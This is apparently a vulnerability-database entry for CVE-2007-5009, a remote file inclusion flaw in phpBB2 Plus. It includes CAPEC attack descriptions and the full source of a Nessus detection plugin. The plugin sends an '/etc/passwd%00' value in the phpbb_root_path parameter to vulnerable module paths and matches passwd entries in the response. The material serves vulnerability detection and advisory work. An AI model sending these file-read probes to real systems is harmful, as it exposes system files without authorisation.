Vulnerabilities > CVE-2007-5009 - Code Injection vulnerability in PHPbb2 Plus 1.53/1.53A

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
phpbb2
CWE-94
nessus
exploit available

Summary

PHP remote file inclusion vulnerability in language/lang_german/lang_main_album.php in phpBB Plus 1.53, and 1.53a before 20070922, allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter. exploitation requires register_globals to be enabled

Vulnerable Configurations

Part Description Count
Application
Phpbb2
2

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

descriptionphpBB Plus <= 1.53 (phpbb_root_path) Remote File Inclusion Vuln. CVE-2007-5009. Webapps exploit for php platform
fileexploits/php/webapps/4434.txt
idEDB-ID:4434
last seen2016-01-31
modified2007-09-20
platformphp
port
published2007-09-20
reporterMehrad
sourcehttps://www.exploit-db.com/download/4434/
titlephpBB Plus <= 1.53 phpbb_root_path Remote File Inclusion Vuln
typewebapps

Nessus

NASL familyCGI abuses
NASL idPHPBB_AUCTION_PHPBB_ROOT_PATH_FILE_INCLUDE.NASL
descriptionThe remote host contains a third-party module for phpBB. The version of at least one such component or module installed on the remote host fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id21323
published2006-05-04
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/21323
titlephpBB Multiple Module phpbb_root_path Parameter Remote File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

if (NASL_LEVEL < 3000) exit(0);

include("compat.inc");

if (description)
{
  script_id(21323);
  script_version("1.40");

  script_cve_id(
    "CVE-2006-2245",
    "CVE-2006-5301",
    "CVE-2006-5306",
    "CVE-2006-5390",
    "CVE-2006-5418",
    "CVE-2006-7090",
    "CVE-2006-7100",
    "CVE-2006-7147",
    "CVE-2007-5009",
    "CVE-2007-5100"
  );
  script_bugtraq_id(
    17822, 
    20484, 
    20485, 
    20493, 
    20501, 
    20518, 
    20525, 
    20558, 
    20571, 
    21171, 
    25737, 
    25776
  );
  script_xref(name:"EDB-ID", value:"2483");
  script_xref(name:"EDB-ID", value:"2522");
  script_xref(name:"EDB-ID", value:"2525");
  script_xref(name:"EDB-ID", value:"2533");
  script_xref(name:"EDB-ID", value:"2538");

  script_name(english:"phpBB Multiple Module phpbb_root_path Parameter Remote File Inclusion");
  script_summary(english:"Tries to read a local file using phpBB modules");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is prone to
remote file include attacks." );
 script_set_attribute(attribute:"description", value:
"The remote host contains a third-party module for phpBB. 

The version of at least one such component or module installed on the
remote host fails to sanitize input to the 'phpbb_root_path' parameter
before using it to include PHP code.  Provided PHP's
'register_globals' setting is enabled, an unauthenticated attacker may
be able to exploit these flaws to view arbitrary files on the remote
host or to execute arbitrary PHP code, possibly taken from third-party
hosts." );
  # http://web.archive.org/web/20070527141033/http://pridels.blogspot.com/2006/05/phpbb-auction-mod-remote-file.html
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9640ab6a" );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2006/Oct/209" );
 script_set_attribute(attribute:"see_also", value:"https://www.phpbb.com/community/viewtopic.php?p=2504370&highlight=#2504370" );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/452012/30/0/threaded" );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/479997/30/0/threaded" );
 # https://web.archive.org/web/20160820141912/http://www.phpbb2.de/ftopic45218.html
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?37fd2995" );
 script_set_attribute(attribute:"solution", value:
"Disable PHP's 'register_globals' setting or contact the product's
author to see if an upgrade exists." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');
 script_cwe_id(94);
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/05/04");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/05/03");
 script_cvs_date("Date: 2018/11/15 20:50:18");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe",value:"cpe:/a:phpbb_group:phpbb-auction");
 script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpbb_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/phpBB");
  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Vulnerable scripts.
# - modules
nmods = 0;
mod = make_array();
# -   ACP User Registration
mod[nmods++] = "/includes/functions_mod_user.php";
# -   Admin User Viewed Posts Tracker
mod[nmods++] = "/includes/functions_user_viewed_posts.php";
# -   AI chat (included in PlusXL)
mod[nmods++] = "/mods/iai/includes/constants.php";
# -   Import Tools - Members
mod[nmods++] = "/includes/functions_mod_user.php";
# -   Insert User
mod[nmods++] = "/includes/functions_mod_user.php";
# - Journals System
mod[nmods++] = "/includes/journals_delete.php";
mod[nmods++] = "/includes/journals_edit.php";
mod[nmods++] = "/includes/journals_post.php";
# -   phpBB auction
mod[nmods++] = "/auction/auction_common.php";
# -   phpBB Search Engine Indexer
mod[nmods++] = "/includes/archive/archive_topic.php";
# -   phpBB Security
mod[nmods++] = "/includes/phpbb_security.php";
# -   phpBB2 Plus (not really a mod)
mod[nmods++] = "/language/lang_german/lang_main_album.php";
mod[nmods++] = "/language/lang_german/lang_admin_album.php";
mod[nmods++] = "/language/lang_english/lang_main_album.php";
mod[nmods++] = "/language/lang_english/lang_admin_album.php";
# -   PlusXL itself
mod[nmods++] = "/includes/functions.php";
# -   SpamBlockerMod
mod[nmods++] = "/includes/antispam.php";


info = "";
contents = "";


# Test an install.
install = get_kb_item(string("www/", port, "/phpBB"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];

  # Try to exploit the flaw to read a file.
  file = "/etc/passwd%00";
  for (i=0; i<nmods; i++)
  {
    r = http_send_recv3(method:"GET", 
     item:string(
        dir, mod[i], "?",
        "phpbb_root_path=", file
      ), 
      port:port
    );
    if (isnull(r)) exit(0);
    res = r[2];

    # There's a problem if...
    if (
      # there's an entry for root or...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error saying "failed to open stream".
      egrep(pattern:"main\(/etc/passwd\\0.+ failed to open stream", string:res) ||
      # we get an error claiming the file doesn't exist or...
      egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
      # we get an error about open_basedir restriction.
      egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
    )
    {
      info = info +
             "  " + dir + mod[i] + '\n';

      if (!contents && egrep(string:res, pattern:"root:.*:0:[01]:"))
        contents = res - strstr(res, "<br");

      if (!thorough_tests) break;
    }
  }
}

if (info)
{
  if (contents)
  {
    contents = data_protection::redact_etc_passwd(output:contents);
    info = string(
      info,
      "\n",
      "And here are the contents of the file '/etc/passwd' that Nessus\n",
      "was able to read from the remote host :\n",
      "\n",
      contents
    );
  }
  report = string(
    "The following scripts(s) are vulnerable :\n",
    "\n",
    info
  );

  security_warning(port:port, extra:report);
}